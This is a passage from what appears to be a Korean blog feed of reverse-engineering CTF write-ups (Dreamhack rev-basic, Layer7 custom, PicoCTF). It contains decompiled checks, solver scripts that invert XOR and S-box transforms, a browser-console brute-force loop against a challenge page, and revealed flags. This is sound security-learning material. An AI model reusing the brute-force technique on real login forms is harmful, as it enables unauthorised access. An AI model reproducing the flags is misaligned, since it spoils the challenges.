<img src="https://velog.velcdn.com/images/shin_yy/post/420d2a73-9d3e-45c4-b42e-3d0ba1d7a650/image.png" alt="">
입력 값 a1[v3]은 unsigned char로 처리되며, 그 값을 sbox[]에 인덱스로 넣어 나온 값이 v2와 같아야한다.
perm[] 배열은 어떤 순서로 a1의 값을 검사할 것 인지를 지정한다.
enc3[] 배열은 sbox[a1[perm[i]]]과 일치해야하는 값이다.</p>
<blockquote>
</blockquote>
<p>변수에 들어있는 값들이 너무 많으므로 따로 더 생각하지 않고,
바로 역연산하는 코드를 작성하였다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
unsigned char sbox[] = {
    0xE8, 0x76, 0xDC, 0x0F, 0xCC, 0x4A, 0xF0, 0x16, 0x78, 0x42,
    0x4D, 0xAD, 0x5B, 0x9F, 0x2E, 0xBD, 0x96, 0xAB, 0x8E, 0xAF,
    0x13, 0x68, 0x9E, 0xD6, 0xB1, 0x72, 0xB0, 0x58, 0x2F, 0x31,
    0xC6, 0x47, 0x21, 0x5D, 0x9C, 0x26, 0x22, 0x25, 0xB2, 0xFA,
    0x30, 0x92, 0x90, 0xF5, 0xBC, 0x48, 0x2C, 0xE6, 0x12, 0xE4,
    0x6B, 0x35, 0xDE, 0xA1, 0xFD, 0x03, 0x19, 0x5E, 0x51, 0x85,
    0x46, 0x1A, 0x0A, 0x71, 0x0B, 0x01, 0x59, 0xEC, 0xF6, 0xCE,
    0x7B, 0x9A, 0xC5, 0xDD, 0x6A, 0xF7, 0xCF, 0xC3, 0x94, 0xD1,
    0x8B, 0x0D, 0x2B, 0xCB, 0x7A, 0x60, 0xA6, 0x53, 0xDF, 0x06,
    0x3B, 0x63, 0xEB, 0xB6, 0x37, 0x54, 0xD0, 0xDB, 0x18, 0x34,
    0x67, 0x64, 0x1F, 0x3C, 0x69, 0x49, 0xA2, 0x83, 0x45, 0xB4,
    0x3E, 0x55, 0xFB, 0x86, 0x41, 0xA5, 0x93, 0x6E, 0xC2, 0x9D,
    0x08, 0xC7, 0x07, 0xF9, 0x5A, 0x09, 0xA8, 0xE1, 0x3A, 0x05,
    0x56, 0xD2, 0x39, 0xED, 0x1E, 0x73, 0x84, 0x70, 0xAC, 0xE3,
    0x4F, 0x33, 0xAA, 0xF8, 0xD4, 0xA9, 0xB9, 0x2A, 0x8C, 0x79,
    0x97, 0x20, 0x88, 0x11, 0x7C, 0x15, 0x14, 0xFC, 0xB3, 0x0E,
    0x3D, 0x4E, 0xF4, 0xC4, 0x04, 0x7D, 0x52, 0x99, 0xBB, 0xCD,
    0x8A, 0x29, 0x5F, 0xD9, 0x32, 0x9B, 0xB5, 0xA3, 0x4C, 0xD8,
    0x1B, 0x81, 0x2D, 0x80, 0xFE, 0xBA, 0xC8, 0x00, 0x74, 0xD7,
    0x6F, 0x4B, 0xDA, 0x57, 0xF2, 0x44, 0xC0, 0xF3, 0xC9, 0x1D,
    0xB8, 0xD5, 0x02, 0x8D, 0x40, 0x87, 0x77, 0xD3, 0x61, 0x62,
    0x10, 0x98, 0xFF, 0xAE, 0xCA, 0x28, 0xA0, 0x27, 0x1C, 0x0C,
    0xC1, 0x17, 0x7E, 0x82, 0xEE, 0x38, 0x5C, 0x66, 0xE7, 0xE5,
    0x6D, 0x95, 0xBF, 0xEF, 0x89, 0x8F, 0xBE, 0x3F, 0x23, 0x43,
    0x24, 0x75, 0xA4, 0xEA, 0xE2, 0x65, 0x7F, 0xA7, 0x36, 0x50,
    0xB7, 0xE0, 0x91, 0xF1, 0xE9, 0x6C
};
&gt;
unsigned char perm[] = {
    0x2A, 0x29, 0x5B, 0x09, 0x41, 0x32, 0x01, 0x46,
    0x0F, 0x4E, 0x49, 0x0A, 0x37, 0x38, 0x48, 0x2D,
    0x30, 0x5C, 0x4C, 0x25, 0x1E, 0x15, 0x20, 0x60,
    0x50, 0x31, 0x53, 0x1A, 0x57, 0x21, 0x08, 0x2F,
    0x3B, 0x3F, 0x4A, 0x2C, 0x62, 0x34, 0x55, 0x0C,
    0x24, 0x17, 0x27, 0x28, 0x12, 0x42, 0x3D, 0x3C,
    0x07, 0x22, 0x63, 0x2E, 0x02, 0x33, 0x10, 0x26,
    0x3A, 0x44, 0x16, 0x3E, 0x18, 0x05, 0x06, 0x43,
    0x52, 0x13, 0x4F, 0x2B, 0x5A, 0x14, 0x00, 0x5F,
    0x39, 0x5D, 0x35, 0x59, 0x19, 0x47, 0x54, 0x4D,
    0x40, 0x1D, 0x1B, 0x58, 0x61, 0x04, 0x36, 0x4B,
    0x0B, 0x45, 0x56, 0x0D, 0x11, 0x1C, 0x1F, 0x23,
    0x5E, 0x03, 0x0E, 0x51
};
&gt;
unsigned char encr[] = {
    0x83, 0x67, 0x34, 0x06, 0x94, 0x3C, 0xDB, 0x83, 0x34, 0x3C, 0xE4,
    0x3C, 0x34, 0x49, 0x9A, 0x2B, 0x6B, 0x9A, 0x6B, 0x9D, 0x3C, 0x6A,
    0x53, 0x0D, 0x6B, 0x60, 0xDD, 0x35, 0x18, 0x45, 0x53, 0xDB, 0x34,
    0x18, 0x69, 0xC5, 0x1A, 0x53, 0xE4, 0x9A, 0xCB, 0x3B, 0xCB, 0xCB,
    0x35, 0x07, 0xA6, 0xB4, 0xCB, 0x6E, 0x09, 0x69, 0xC7, 0x64, 0xC7,
    0x3C, 0x83, 0x53, 0xA5, 0x69, 0xEC, 0x03, 0xF9, 0x06, 0x93, 0x18,
    0x6A, 0xDD, 0xFB, 0x35, 0xCF, 0xF6, 0x59, 0x08, 0x5E, 0x2B, 0x59,
    0xDD, 0x9A, 0x60, 0xDF, 0xC3, 0x06, 0xC5, 0x55, 0x41, 0xE4, 0xDB,
    0x67, 0xA1, 0xE4, 0x69, 0x59, 0xDF, 0x18, 0x3B, 0xA1, 0x64, 0xFB,
    0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00
};
&gt;
int main() {
    char answer[100] = {0};
&gt;
    for (int i = 0; i &lt; 100; i++) {
        unsigned char char_1 = encr[i];
        int char_2 = perm[i];                
&gt;
        for (int j = 0; j &lt; 256; j++) {
            if (sbox[j] == char_1) {
                answer[char_2] = j;
                break;
            }
        }
    }
&gt;
    answer[100] = 0;
&gt;   
    printf(&quot;%s\n&quot;, answer);
    return 0;
}</code></pre><p>answer은 정답 문자열을 저장하기 위한 문자열 변수다.</p>
<blockquote>
</blockquote>
<p>for문을 통해 i의 값을 상승시키며 char_1과 char_2의 값을 계속 업데이트 해준다.
sbox[i]의 값이 char_1. 즉, encr[i] 값과 동일할 경우 answer에 char2. 즉, answer에 인덱스 perm[i]에 i를 저장한다.
마지막에 Null 문자를 삽입하는 것을 잊지말자.</p>
<blockquote>
</blockquote>
<p>다음 프로그램을 실행하여 플래그 값을 얻을 수 있다.</p>
<h1 id="dreamhack">Dreamhack</h1>
<h2 id="please-please-please">please, please, please</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
<img src="https://velog.velcdn.com/images/shin_yy/post/5bfbf394-9774-4d81-96d2-fc8ea9946e7d/image.png" alt="">
플래그를 찾아달라는 말 밖에 없다 ..
그래서 Shift + F12 단축키를 사용하여 문자열 변수를 확인해보았다.
<img src="https://velog.velcdn.com/images/shin_yy/post/70e3d82f-f83e-4075-b17b-f25b1f33aacf/image.png" alt="">
그 결과 다음과 같은 플래그 값을 찾을 수 있었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/1f0b510e-d91a-4f41-9d79-04ff76efe92b/image.png" alt=""></p>
<h2 id="secure-mail">Secure Mail</h2>
<blockquote>
</blockquote>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/59175b96-841b-488b-972c-ee4cf9c243b8/image.png" alt="">
이것을 보고 알 수 있는 것이 어떠한 비밀번호가 6자리이며 알맞은 비밀번호를 입력했을 때,
플래그를 알아낼 수 있다는 것을 추측해 볼 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/0b05df43-b21b-45d7-aa55-ced661720333/image.png" alt="">
여기다가 비밀번호를 입력하면 되는 것 같다.
F12 관리자 창을 이용해 Source 탭에서 JS 소스를 분석해보자.
<img src="https://velog.velcdn.com/images/shin_yy/post/fef2bb67-1e08-4c94-b472-f9f1e7cc67d7/image.png" alt=""></p>
<pre><code>function _0x9a220(..., ...)
return alert(&#39;Wrong&#39;)</code></pre><p>함수 _0x9a220가 작동한다는 것과 잘못된 값이 입력되었을 때,
&#39;Wrong&#39;이라는 알람이 뜨는 것 외에는
난독화 때문에 알 수 있는 정보가 별로 없는것 같다.</p>
<blockquote>
</blockquote>
<p>따라서 이 문제는 무작정 모든 생년월일을 입력해보는
무차별 대입 공격(brute-force)을 이용해서 해결해야하는 것 같다.</p>
<blockquote>
</blockquote>
<p>Console 탭에서 생일을 무작정 대입해보는 소스를 작성해보았다.</p>
<pre><code>window.alert = function (val) {
  console.log(&quot;fail&quot;);
  return 1;
};
&gt;
function tryInput(val) {
  const format = /^([0-9]{2}(0[1-9]|1[0-2])(0[1-9]|[1-2][0-9]|3[0-1]))$/;
  if (format.test(val)) {
    _0x9a220(val);
  }
}
&gt;
for (let i = 500000; i &lt;= 991231; i++) {
  tryInput(i);
}</code></pre><p>이 코드를 실행시켜놓고 잠시 딴 짓을 하다오니 페이지가 넘어가져 있었고,
플래그를 알아낼 수 있었다.
<img src="https://velog.velcdn.com/images/shin_yy/post/d20453b2-c158-4785-9ea6-3a9088633776/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/2ea6583a-8393-43a2-ada0-2a5809b57607/image.png" alt=""></p>
<h2 id="fake">fake</h2>
<blockquote>
</blockquote>
<p>문제 파일을 다운받고, 디컴파일 해보면 ..
<img src="https://velog.velcdn.com/images/shin_yy/post/686154dc-6dbb-4f4f-99c6-c8eaa946c7a2/image.png" alt="">
다수의 함수를 실행한다.
문제 이름이 fake 이듯, 이 중에서 아무런 역할도 하지 않는 함수를 찾아내는 것이 중요한 문제다.
일단 변수 ptr를 채워주는 함수 sub_140B는 가짜일리 없으니 확인해봤다.
<img src="https://velog.velcdn.com/images/shin_yy/post/5a0ad59d-2c95-45f3-970a-dc4797518d40/image.png" alt="">
확인 결과 다음과 같이 변수 v3를 선언하고 선언하고 if문에서는 변수 *ptr 에 따라 만약 참이라면 ptr[1]에 값을 대입한다. for문은 23번 반복 실행되며 *ptr[i]에 v3[i]를 넣고 *ptr의 인덱스에 0을 넣어서 문자열 끝을 표시하고 ptr을 반환한다. 뒤에 if문에서 &#39;참&#39;이 아니라면 ptr의 동적할당을 해제하고 &#39;거짓&#39;을 반환한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/64d68619-09bb-4acd-ae30-b079773c9889/image.png" alt="">
v2와 v3에 연산값을 넣고 있지만 주요한 변수 ptr 값이 바뀌진 않기 때문에 넘기겠다.
밑에 함수 sub_1189도 확인해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/152cb474-ee5b-4e82-b8ee-6db98270d01a/image.png" alt="">
해당 함수를 실행했을 때도 마찬가지로 주요한 변화는 없다.
<img src="https://velog.velcdn.com/images/shin_yy/post/e452b70f-3ea0-42c2-9f05-0a040d585776/image.png" alt="">
해당 함수들을 확인해보면 다음과 같은 프로그램을 구상하여 플래그를 출력할 수 있다.</p>
<pre><code>#include &lt;stdio.h&gt;
&gt;
int main() {
    unsigned char data[23] = {
        0x4A, 0x5B, 0x5B, 0x5F, 0x56, 0x68, 0x54, 0x59,
        0x50, 0x44, 0x06, 0x52, 0x45, 0x04, 0x41, 0x68,
        0x65, 0x7A, 0x74, 0x4C, 0x64, 0x73, 0x7F
    };
&gt;
    for (int i = 0; i &lt; 23 / 2; i++) {
        unsigned char tmp = data[i];
        data[i] = data[22 - i];
        data[22 - i] = tmp;
    }
&gt;
    for (int i = 0; i + 1 &lt; 23; i += 2) {
        unsigned char tmp = data[i];
        data[i] = data[i + 1];
        data[i + 1] = tmp;
    }
&gt;
    for (int i = 0; i &lt; 23; i++) {
        data[i] ^= 55;
    }
&gt;
    printf(&quot;%s\n&quot;, data);
    return 0;
}</code></pre><p>첫 번째 for문에서 값을 뒤집고, 마지막 for문에서 Xor 연산을 실행한다.</p>
<blockquote>
</blockquote>
<p>해당 프로그램을 실행시키면 플래그가 출력된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리버싱 5차시]]></title>
            <link>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-5%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/%EB%A6%AC%EB%B2%84%EC%8B%B1-5%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Wed, 11 Jun 2025 15:57:08 GMT</pubDate>
            <description><![CDATA[<h1 id="ida-interactive-disassembler">IDA (Interactive DisAssembler)</h1>
<h2 id="ida란">IDA란?</h2>
<ul>
<li>Hex-Rays SA에서 개발하여 판매중인 상용 디스어셈블러</li>
<li>기계어 코드로부터 어셈블리어 코드로 생성</li>
<li>다양한 프로세서 및 파일 유형을 지원</li>
<li>해석 기능과 자체적으로 지원하는 스크립팅 언어<h1 id="문제">문제</h1>
<img src="https://velog.velcdn.com/images/shin_yy/post/cf57ace7-a434-47a5-a0d4-ee4685d55709/image.png" alt=""><blockquote>
</blockquote>
<h3 id="풀이">풀이</h3>
문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/501ee473-9131-4c4e-8322-b80492369328/image.png" alt="">
이 코드를 위에서부터 해석해보면</li>
</ul>
<ol>
<li>변수 v6에 랜덤한 값을 할당한다.</li>
<li>사용자에게 입력 받은 문자열을 변수 v7에 저장한다.</li>
<li>v6와 v7을 XOR 연산하여 8자리 16진수를 변수 s에 저장한다.</li>
<li>변수 s에 들어있는 문자열을 뒤집어 변수 s1에 저장한다.</li>
<li>만약 변수 s1에 들어있는 값이 &#39;a0b4c1d7&#39;과 동일하다면 플래그를 출력한다.
이 순서를 반대로 생각하여 우리가 변수 v7에 입력해야할 값을 찾아보겠다.<blockquote>
</blockquote>
먼저 반대로 생각해보면</li>
<li>&#39;a0b4c1d7&#39;을 뒤집는다. 즉 변수 s1이 &#39;7d1c4b0a&#39;가 되어야한다.</li>
<li>16잔수에서 정수로 v6과 v7을 XOR 연산한다. 따라서 2095886858이라는 키 값이 나온다.</li>
<li>V7 = v6 ^ 2095886858 이므로 이 식을 계산하는 프로그램을 통해 입력해야할 값을 추측해보겠다.</li>
</ol>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/71e19cf7-a47f-49a0-b4d2-55f8e992478c/image.png" alt=""></p>
<blockquote>
</blockquote>
<h3 id="풀이-1">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/e4ead0a8-c871-41b0-8ed2-a1216cf28f36/image.png" alt="">
if 조건문에서 참이 반환될 시에 Correct를 출력한다.
<img src="https://velog.velcdn.com/images/shin_yy/post/71c64e2d-522c-413b-8ca3-3ff7a02bd91a/image.png" alt="">
조건은 strcmp를 이용해 &quot;Compar3_the_str1ng&quot;과 동일한 문자열이 입력될 경우,
참을 반환한다.</p>
<h1 id="과제">과제</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/943700b4-29dc-4ace-910a-332d8c667f89/image.png" alt=""></p>
<h2 id="rev-basic-1">rev-basic-1</h2>
<blockquote>
</blockquote>
<h3 id="풀이-2">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/680585fe-e407-46a3-aa78-7068e4b710dc/image.png" alt="">
함수 sub_140001000을 들어가보면</p>
<pre><code>_BOOL8 __fastcall sub_140001000(_BYTE *a1)
{
  if ( *a1 != 67 )
    return 0;
  if ( a1[1] != 111 )
    return 0;
  if ( a1[2] != 109 )
    return 0;
  if ( a1[3] != 112 )
    return 0;
  if ( a1[4] != 97 )
    return 0;
  if ( a1[5] != 114 )
    return 0;
  if ( a1[6] != 51 )
    return 0;
  if ( a1[7] != 95 )
    return 0;
  if ( a1[8] != 116 )
    return 0;
  if ( a1[9] != 104 )
    return 0;
  if ( a1[10] != 101 )
    return 0;
  if ( a1[11] != 95 )
    return 0;
  if ( a1[12] != 99 )
    return 0;
  if ( a1[13] != 104 )
    return 0;
  if ( a1[14] != 52 )
    return 0;
  if ( a1[15] != 114 )
    return 0;
  if ( a1[16] != 97 )
    return 0;
  if ( a1[17] != 99 )
    return 0;
  if ( a1[18] != 116 )
    return 0;
  if ( a1[19] != 51 )
    return 0;
  if ( a1[20] == 114 )
    return a1[21] == 0;
  return 0;
}</code></pre><p>모든 아스키코드 값이 만족할 경우 참이 반화되기 때문에 이를 역으로 출력하는 코드를 작성하면 플래그 값을 얻을 수 있다.</p>
<blockquote>
</blockquote>
<p>풀이코드 없이 조건 아스키코드 값들을 문자열로 변환한 후 제출했다.</p>
<h2 id="rev-basic-2">rev-basic-2</h2>
<blockquote>
</blockquote>
<h3 id="풀이-3">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/3b39d102-c9f1-41ab-a5a2-348c62efa357/image.png" alt="">
배열 aC와 비교하여 똑같은 값인지 파악한다.
aC에 들어있는 값을은 다음과 같다.
이 문자열과 일치할 경우 Correct를 출력한다.</p>
<pre><code>.data:0000000140003000 aC              db &#39;C&#39;,0   
.data:0000000140003002                 align 4
.data:0000000140003004 aO              db &#39;o&#39;,0
.data:0000000140003006                 align 8
.data:0000000140003008 aM              db &#39;m&#39;,0
.data:000000014000300A                 align 4
.data:000000014000300C aP              db &#39;p&#39;,0
.data:000000014000300E                 align 10h
.data:0000000140003010 a4              db &#39;4&#39;,0
.data:0000000140003012                 align 4
.data:0000000140003014 aR              db &#39;r&#39;,0
.data:0000000140003016                 align 8
.data:0000000140003018 aE              db &#39;e&#39;,0
.data:000000014000301A                 align 4
.data:000000014000301C                 db &#39;_&#39;,0
.data:000000014000301E                 align 20h
.data:0000000140003020 aT              db &#39;t&#39;,0
.data:0000000140003022                 align 4
.data:0000000140003024                 db &#39;h&#39;,0
.data:0000000140003026                 align 8
.data:0000000140003028 aE_0            db &#39;e&#39;,0
.data:000000014000302A                 align 4
.data:000000014000302C                 db &#39;_&#39;,0
.data:000000014000302E                 align 10h
.data:0000000140003030 aA              db &#39;a&#39;,0
.data:0000000140003032                 align 4
.data:0000000140003034 aR_0            db &#39;r&#39;,0
.data:0000000140003036                 align 8
.data:0000000140003038 aR_1            db &#39;r&#39;,0
.data:000000014000303A                 align 4
.data:000000014000303C a4_0            db &#39;4&#39;,0
.data:000000014000303E                 align 20h
.data:0000000140003040 aY              db &#39;y&#39;,0</code></pre><p>풀이코드 없이 문자열을 조합해서 제출헀다.</p>
<h2 id="rev-basic-3">rev-basic-3</h2>
<blockquote>
</blockquote>
<h3 id="풀이-4">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/768871e8-ed3f-43f2-acac-4e57d557d6a1/image.png" alt="">
XOR 연산을 통해 &#39;A ^ B = C 라면 C ^ B = A 와 C ^ A = B 가 성립&#39; 이라는 조건을 가지고
byte_140003000의 값과 입력한 a1의 값을 계산한다.</p>
<pre><code>.data:0000000140003000 byte_140003000  db 49h, 60h, 67h, 74h, 63h, 67h, 42h, 66h, 80h, 78h, 2 dup(69h)
.data:0000000140003000                                         ; DATA XREF: sub_140001000+28↑o
.data:000000014000300C                 db 7Bh, 99h, 6Dh, 88h, 68h, 94h, 9Fh, 8Dh, 4Dh, 0A5h, 9Dh
.data:0000000140003017                 db 45h, 8 dup(0)</code></pre><blockquote>
</blockquote>
<p>풀이 코드</p>
<pre><code>nums = [0x49, 0x60, 0x67, 0x74, 0x63, 0x67, 0x42, 0x66, 0x80, 0x78, 0x69, 0x69, 0x7B, 0x99, 0x6D, 0x88, 0x68, 0x94, 0x9F, 0x8D, 0x4D, 0xA5, 0x9D, 0x45]
for i in range(len(nums)) :
    tmp1 = nums[i] - (2 * i)
    tmp2 = tmp1 ^ i
    print(chr(tmp2), end = &#39;&#39;)</code></pre><p>각 값에서 (2 * i)만큼 뺀다.
결과에 다시 i를 XOR 연산한다.
결과를 chr()로 문자로 변환해서 출력한다.</p>
<h2 id="rev-basic-4">rev-basic-4</h2>
<blockquote>
</blockquote>
<h3 id="풀이-5">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/dc736a10-cdf1-42f7-bf56-3e4437d22bf1/image.png" alt=""></p>
<pre><code>(16 * a1[i]) | (a1[i] &gt;&gt; 4) == byte_140003000[i]</code></pre><p>를 만족하는 a1을 찾아야 한다.</p>
<pre><code>(a`1[i] &lt;&lt; 4) | (a1[i] &gt;&gt; 4) == byte_140003000[i]</code></pre><p>16을 곱하는 것은 4비트 왼쪽 시프트하는 것과 같으므로 위와 같이 변경한다.
따라서 해당 프로그램에서 byte_140003000[i]의 앞뒤 위치를 바꾼 수가 a1[i]이 된다. </p>
<pre><code>.data:0000000140003000 byte_140003000  db 24h, 27h, 13h, 2 dup(0C6h), 13h, 16h, 0E6h, 47h, 0F5h
.data:0000000140003000                                         ; DATA XREF: sub_140001000+50↑o
.data:000000014000300A                 db 26h, 96h, 47h, 0F5h, 46h, 27h, 13h, 2 dup(26h), 0C6h
.data:0000000140003014                 db 56h, 0F5h, 2 dup(0C3h), 0F5h, 2 dup(0E3h), 5 dup(0)</code></pre><p>따라서 다음의 연산을 다음의 byte_140003000 값과 진행하면 플래그 값을 찾을 수 있다.</p>
<blockquote>
</blockquote>
<p>풀이 코드</p>
<pre><code>tmp = [0x24, 0x27, 0x13, 0xC6, 0xC6, 0x13, 0x16, 0xE6, 0x47, 0xF5, 0x26, 0x96, 0x47, 0xF5, 0x46, 0x27, 0x13, 0x26, 0x26, 0xC6, 0x56, 0xF5, 0xC3, 0xC3, 0xF5, 0xE3, 0xE3]
for i in range(len(tmp)) :
    print(chr((tmp[i]&lt;&lt;4 | tmp[i]&gt;&gt;4) % (16 * 16)), end=&#39;&#39;)</code></pre><p>이 코드는 tmp 배열에 있는 각각의 16진수 값을 다음의 방식으로 처리한다.
tmp[i] &lt;&lt; 4: 값을 왼쪽으로 4비트 시프트 (곱하기 16과 같음)
tmp[i] &gt;&gt; 4: 값을 오른쪽으로 4비트 시프트 (상위 4비트 추출)
|: 위의 두 값을 비트 OR 연산으로 합친다.
% 256: 결과를 256으로 나눈 나머지를 구해 0~255 범위로 제한한다.</p>
<h2 id="rev-basic-5">rev-basic-5</h2>
<blockquote>
</blockquote>
<h3 id="풀이-6">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/de270621-42bf-4c31-8ee2-1c6c96e1f706/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/a00aa81a-4651-43b0-994b-d9189fc1ecf9/image.png" alt="">
함수 sub_140001000의 if절을 확인해보면</p>
<pre><code>a1[i + 1] + a1[i] == byte_140003000[i]</code></pre><p>를 만족해야 Correct가 출력됨을 확인 할 수 있다.
따라서 sub_140003000[i]의 값과 a1+i의 값을 역연산하여 플래그 값을 구해야한다.
풀이 코드</p>
<pre><code>j = 0
for j in range(33, 127) :
    i = 0
    n = 0
    res = []
    res.append(j)
    for i in range(len(nums)) :
        res.append(nums[i] - res[i])
    for n in range(len(res)) :
        print(chr(res[n]), end=&#39;&#39;)
    print()
    // 출력했을때 뭐가 많이 나오는데 .. 플래그 같은 것을 때려넣었다..</code></pre><h2 id="rev-basic-6">rev-basic-6</h2>
<blockquote>
</blockquote>
<h3 id="풀이-7">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/a616a5e2-f574-44a7-99fc-d412e24a703e/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/0d36cb73-d3c6-4d2a-813b-7af7c919d5fa/image.png" alt="">
함수 sub_140001000의 if절을 확인해보면</p>
<pre><code>byte_140003020[a1[i]] == byte_140003000[i]</code></pre><p>를 만족해야함을 확인할 수 있다.</p>
<pre><code>byte_140003020[j] == byte_140003000[i]</code></pre><p>먼저 이를 만족하는 j를 찾고 a1[i]의 값을 설정해주면 된다.</p>
<blockquote>
</blockquote>
<p>풀이 코드</p>
<pre><code>nums = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
nums2 = [0x00, 0x4D, 0x51, 0x50, 0xEF, 0xFB, 0xC3, 0xCF, 0x92, 0x45, 0x4D, 0xCF, 0xF5, 0x04, 0x40, 0x50, 0x43, 0x63]
&gt;
i = 0
j = 0
res = [0] * 0x12
&gt;
for i in range(len(nums2)) :
    for j in range(len(nums)) :
        if nums2[i] == nums[j] :
            res[i] = j
            print(chr(j), end=&#39;&#39;)
            break</code></pre><p>각 값을 인덱스로 보정 후 XOR하여 복호화하였다.</p>
<h2 id="custom-1">Custom 1</h2>
<blockquote>
</blockquote>
<h3 id="풀이-8">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/9e9afdfe-dc9a-41f0-95b6-592308338c0d/image.png" alt="">
특정 64비트 정수 배열(v10)에 저장된 암호화된 바이트들을,
HIBYTE(v5) = 66 (== 0x42, 즉 &#39;B&#39;)를 이용해 XOR 연산으로 복호화한 뒤,
사용자가 입력한 플래그와 비교한다.</p>
<pre><code>v10[0] = 0x31397530273B230ELL;
v10[1] = 0x292B2E1D27302336LL;
v10[2] = 0x2B2A213623351D27LL;
v10[3] = 0x31302336311D252CLL;</code></pre><p>입력된 값과 다음에 v10 배열들을 XOR 연산하는 것이다.</p>
<blockquote>
<blockquote>
<p>Layer7{stare_like_watching_stars}
정확하게는 Layer7{stare_like_watching_stars 가 계산된다...</p>
</blockquote>
</blockquote>
<h2 id="custom-2">Custom 2</h2>
<blockquote>
</blockquote>
<h3 id="풀이-9">풀이</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/cf8d60f2-5498-4df4-97de-55f3cf88170f/image.png" alt="">
check2에서 참이 반환되어야 하는 것을 알 수 있다.
<img src="https://velog.velcdn.com/images/shin_yy/post/38d2f35e-d02d-4bd6-9f8c-cbe6c2463b30/image.png" alt="">
입력[i]를 i % 8 + 1 비트 만큼 왼쪽으로 회전시킨 뒤, 5를 더한 값이 v3[i]와 같아야 한다.
따라서 이를 바탕으로 입력과 v3[i] 배열을 비교하여 조건에 따라 비트 연산한다.
그 후 최종값을 산출한다.</p>
<blockquote>
<blockquote>
<p>Layer7{TWF5YmUgaXQncyB0aGUgbG92aW5nIGluIHlvdXIgZXllcw==}</p>
</blockquote>
</blockquote>
<h2 id="custom-3">Custom 3</h2>
<h2 id="picoctf-file-run-1">[PicoCTF] file-run 1</h2>
<blockquote>
</blockquote>
<h3 id="풀이-10">풀이</h3>
<p>문제 파일에 함수 main을 디컴파일 해보면
<img src="https://velog.velcdn.com/images/shin_yy/post/79bdd397-bc9c-410f-9b3c-7753dbce0102/image.png" alt="">
